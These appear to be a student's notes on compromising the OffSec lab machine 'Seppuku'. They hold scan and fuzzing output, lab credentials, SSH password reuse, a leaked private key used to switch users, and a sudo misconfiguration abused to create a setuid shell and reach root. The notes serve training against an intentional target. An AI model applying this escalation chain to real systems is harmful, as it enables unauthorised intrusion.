OffSec · Lab
Seppuku
IP: 192.168.203.90
OS: Debian
set ip 192.168.203.90
set url http://192.168.203.90
valid creds
seppuku : eeyoree
samurai : 12345685213456!@!@A
nmap basic
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
7080/tcp open empowerid
7601/tcp open unknown
8088/tcp open radan-http
nmap services
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 cd:55:a8:e4:0f:28:bc:b2:a6:7d:41:76:bb:9f:71:f4 (RSA)
| 256 16:fa:29:e4:e0:8a:2e:7d:37:d2:6f:42:b2:dc:e9:22 (ECDSA)
|_ 256 bb:74:e8:97:fa:30:8d:da:f9:5c:99:f0:d9:24:8a:d5 (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: 401 Authorization Required
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Restricted Content
|_http-server-header: nginx/1.14.2
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
7080/tcp open ssl/empowerid LiteSpeed
|_ssl-date: TLS randomness does not represent time
|_http-server-header: LiteSpeed
| tls-alpn:
| h2
| spdy/3
| spdy/2
|_ http/1.1
|_http-title: Did not follow redirect to https://192.168.203.90:7080/
| ssl-cert: Subject: commonName=seppuku/organizationName=LiteSpeedCommunity/stateOrProvinceName=NJ/countryName=US
| Not valid before: 2020-05-13T06:51:35
|_Not valid after: 2022-08-11T06:51:35
7601/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Seppuku
8088/tcp open http LiteSpeed httpd
|_http-server-header: LiteSpeed
|_http-title: Seppuku
Service Info: Host: SEPPUKU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: 0s
| smb2-time:
| date: 2026-09-09T10:12:10
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: seppuku
| NetBIOS computer name: SEPPUKU\x00
| Domain name: \x00
| FQDN: seppuku
|_ System time: 2026-09-09T06:12:08-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
HTTP/80
fuzzd files
Target: http://192.168.203.90/FUZZ
Total requests: 37050
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000271: 200 926 L 4769 W 80413 Ch "info.php"
$_SERVER['DOCUMENT_ROOT'] /usr/share/nginx/html
HTTP/7601
fuzzd dirs
Target: http://192.168.203.90:7601/FUZZ/
Total requests: 62281
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000091: 200 15 L 49 W 749 Ch "
database
"
000000241: 200 15 L 49 W 735 Ch "c"
000000213: 200 15 L 49 W 735 Ch "a"
000000286: 200 15 L 49 W 735 Ch "t"
000000331: 200 15 L 49 W 735 Ch "f"
000000389: 200 15 L 49 W 735 Ch "r"
000000391: 200 16 L 60 W 940 Ch "w"
000000379: 200 15 L 49 W 735 Ch "d"
000000367: 200 15 L 49 W 735 Ch "e"
000000620: 200 15 L 49 W 735 Ch "b"
000000852: 200 130 L 571 W 7244 Ch "ckeditor"
000000944: 200 20 L 102 W 1745 Ch "
secret
"
000001320: 200 15 L 49 W 735 Ch "h"
000001439: 200 15 L 49 W 735 Ch "q"
000002612: 200 348 L 1402 W 16697 Ch "production"
000002827: 200 17 L 69 W 1139 Ch "
keys
"
000015155: 200 15 L 49 W 739 Ch "stg"
fuzzd files
Target: http://192.168.203.90:7601/FUZZ
Total requests: 37050
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000069: 200 8 L 15 W 171 Ch "index.html"
/keys
/secret
HTTP/8088
Enum4linux
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\seppuku (Local User)
S-1-22-1-1001 Unix User\samurai (Local User)
S-1-22-1-1002 Unix User\tanto (Local User)
FTP brute-force
SSH password re-use
┌──(root㉿cophkali)-[~/oscp/labs/seppuku]
└─# ssh seppuku@$IP
seppuku@seppuku:~$ whoami
seppuku
seppuku@seppuku:~$ ll
total 32K
4.0K -rw-r--r-- 1 seppuku seppuku 33 Sep 9 06:09 local.txt
4.0K drwxr-xr-x 3 seppuku seppuku 4.0K Sep 1 2020 .
4.0K drwx------ 3 seppuku seppuku 4.0K May 13 2020 .gnupg
4.0K drwxr-xr-x 5 root root 4.0K May 13 2020 ..
4.0K -rw-r--r-- 1 root root 20 May 13 2020 .passwd
4.0K -rw-r--r-- 1 seppuku seppuku 220 May 13 2020 .bash_logout
4.0K -rw-r--r-- 1 seppuku seppuku 3.5K May 13 2020 .bashrc
4.0K -rw-r--r-- 1 seppuku seppuku 807 May 13 2020 .profile
seppuku@seppuku:~$ cat .passwd
12345685213456!@!@A
12345685213456!@!@A
seppuku@seppuku:~$ su samurai
Password:
samurai@seppuku:/home/seppuku$
sudo -l
.cgi_bin/bin
samurai@seppuku:~$ sudo -l
Matching Defaults entries for samurai on seppuku:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User samurai may run the following commands on seppuku:
(ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
Switch user to tanto with the previous found key
samurai@seppuku:~$ touch id_rsa
samurai@seppuku:~$ chmod 600 id_rsa
samurai@seppuku:~$ nano id_rsa
samurai@seppuku:~$ ssh -i id_rsa tanto@localhost
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:RltTwzbYqqcBz4/ww5KEokNttE+fZwM7l4bvzFaf558.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tanto@seppuku:~$
dont forget the user rights
tanto@seppuku:~/.cgi_bin$ chmod +x bin
tanto@seppuku:~/.cgi_bin$ cd ..
tanto@seppuku:~$ chmod -R 777 ./.cgi_bin/
samurai@seppuku:~$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
samurai@seppuku:~$ cd /var/tmp
samurai@seppuku:/var/tmp$ ls -lsa
total 136
4 drwxrwxrwt 4 root root 4096 Sep 9 07:52 .
4 drwxr-xr-x 12 root root 4096 May 13 2020 ..
120 -rwsr-xr-x 1 root root 121464 Sep 9 07:52 dash
4 drwx------ 3 root root 4096 Nov 14 2025 systemd-private-51a7aa3bfd3c4320810a24e164ddab36-apache2.service-oWwJl5
4 drwx------ 3 root root 4096 Nov 14 2025 systemd-private-51a7aa3bfd3c4320810a24e164ddab36-systemd-timesyncd.service-wKhLu3
samurai@seppuku:/var/tmp$ ./dash -p
# whoami
root
